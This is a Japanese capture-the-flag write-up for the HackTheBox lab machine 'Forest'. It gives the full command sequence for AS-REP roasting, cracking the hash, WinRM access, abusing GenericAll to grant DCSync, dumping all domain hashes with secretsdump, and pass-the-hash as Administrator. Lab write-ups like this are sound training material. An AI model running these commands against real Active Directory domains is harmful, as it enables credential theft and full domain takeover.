🐡
Forest
全体の流れ
- 資格情報のないドメイン固有の列挙
- 匿名アクセスを可能なサービスの検索
ー ユーザー名を指定せずにAS-REPロースト可能なユーザーを検索- AS-REPがサービスアカウント「svc-alfresco」をロースト
- hashcatでAS-REPハッシュをクラックし、WinRMへの足がかりを得る。
- AS-REPがサービスアカウント「svc-alfresco」をロースト
- 匿名アクセスを可能なサービスの検索
- エクスプロイト後の列挙を続行し、ネストされたグループを導くPowerViewを使用してネストされているすべてのグループを明らかにすると、実質的に「Account
- PowerViewを使用してネストされているすべてのグループを明らかにする
- 完全なアクセス許可を取得し、ユーザーを作成してグループに追加できます (管理者を除く)。
- サブシステムに GenericAllそのグループのユーザーに任意の Active Directory アクセス許可を付与できることが分かるそこから、ユーザーにDCSync権限を付与し、すべてのDCハッシュをダンプできるようにします。
ー ユーザーにDCSync権限を付与し、すべてのDCハッシュをダンプできるようにする。 - pass-the-hash攻撃を実行し、組み込みのドメイン管理者アカウントとしてシェルを取得
SCAN
nmapを利用したSCAN
nmap
- 実行結果
``` - 結果の考察
- OS : Windows Server 2016
- Conputer Name : FOREST
- FQDN : FOREST.htb.local
- 使用できそうなport
- 53/TCP : DNS
- 88/TCP : Kerberos
- 135,139,445/TCP : RPC/SMB
- 389,3268,636,3269/TCP : LDAP/S
- 5985/TCP : WinRM
AS-REPロースト可能なサービスアカウントの列挙及びハッシュ要求
GetNPUsers.py htb.htb/ -dc-ip 10.10.10.100
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request
HashcatによるAS-REPハッシュの解読
Hashタイプの確認
hashcat -h | grep -i "AS-REP"
hashクラック
hashcat -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
SCAN
取得した資格情報が有効かどうかの確認
crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
- 結果の考察
- smbでは有効ではなかった。
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
- 結果の考察
- winrmは有効であることを確認
Initial Access
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
ドメインの列挙(net コマンド)
Domain Userの確認
net user /domain
ドメイン管理者が誰であるかを確認
net groups "Domain Admins" /domain
グループを列挙
net group /domain
ローカルグループの確認
net localgroup
現在のユーザのドメイン情報確認
net user svc-alfresco /domain
- 結果の考察
- ネストされている情報を取得できないため別の手法が必要
ドメインの列挙(powerview)
概要
- ncコマンドでは確認できなかったためpowerviewコマンドで列挙を行う。
upload及びimport
upload /opt/hackthebox/Forest/PowerView.ps1
- EvilWin-RMの機能でupload
. .\PowerView.ps1
- 省略コマンドでモジュールをimport
#### domainの列挙
Get-DomainGroup -MemberIdentity 'svc-alfresco' | select samaccountname
- 省略コマンドでモジュールをimport
- 結果の考察
- 現在のユーザーが 3 つのグループに属していること- net user コマンドを使用しても表示されない「特権 IT アカウント」がここに表示
- このグループが入れ子になっている可能性が高い
- net user コマンドを使用しても表示されない「特権 IT アカウント」がここに表示
Get-DomainGroup 'Privileged IT Accounts' | select samaccountname,memberof
Get-DomainGroup 'Account Operators' | select samaccountname,memberof
Get-DomainGroup 'Account Operators'
- 結果の考察
- Account Operators グループは、制限付きのアカウント作成権限をユーザーに付与します。
- このグループのメンバーは、ほとんどの種類のアカウントを作成および変更可能
- グループ メンバーは、ドメイン コントローラーにローカルでログインできる。
- このグループのメンバーは、ほとんどの種類のアカウントを作成および変更可能
- Account Operators グループのメンバーが管理できないグループ
- administrators アカウント、
- administratorsのユーザーアカウント
- Server Operators
- Account Operators
- Backup Operators
- Print Operators groups.
- これらのグループのメンバーは、ユーザー権限を変更できません。
- Account Operators グループは、制限付きのアカウント作成権限をユーザーに付与します。
ACEの探索
概要
- GenericAll – オブジェクトに対する完全な権限 (グループへのユーザーの追加またはユーザーのパスワードのリセット)
- GenericWrite – オブジェクトの属性 (ログオン スクリプトなど) の更新
- WriteOwner – オブジェクトの所有者を攻撃者の制御するユーザーへの変更 オブジェクトを乗っ取る
- WriteDACL – オブジェクトの ACE を変更し、攻撃者にオブジェクトに対するフル コントロール権限を与える
- AllExtendedRights – ユーザーをグループに追加したり、パスワードをリセットしたりする機能
- ForceChangePassword – ユーザーのパスワードを変更する機能
- Self (Self-Membership) – 自分をグループに追加する機能
$ADSI=[ADSI]"LDAP://DC=htb,DC=local"
$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) | Where-Object {$_.IdentityReference -like "*"} | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} | Where-Object {$_.AccessControlType -like "*Allow*"}
- 結果の考察
-
net group /domain
の出力結果にあったExchange Trusted Subsystem
を確認
-
userの作成
User作成(password 及び 所属グループ)
net user /add pwnt P@ssw0rd /domain
net group /add 'Exchange Trusted Subsystem' pwnt /domain
「DCSync」権限を付与
$SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\pwnt', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwnt -Rights DCSync
DCSync 攻撃による DC 内のすべてのハッシュのダンプ
secretsdump.py htb.local/pwnt:'P@ssw0rd'@10.10.10.161
権限昇格
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
Discussion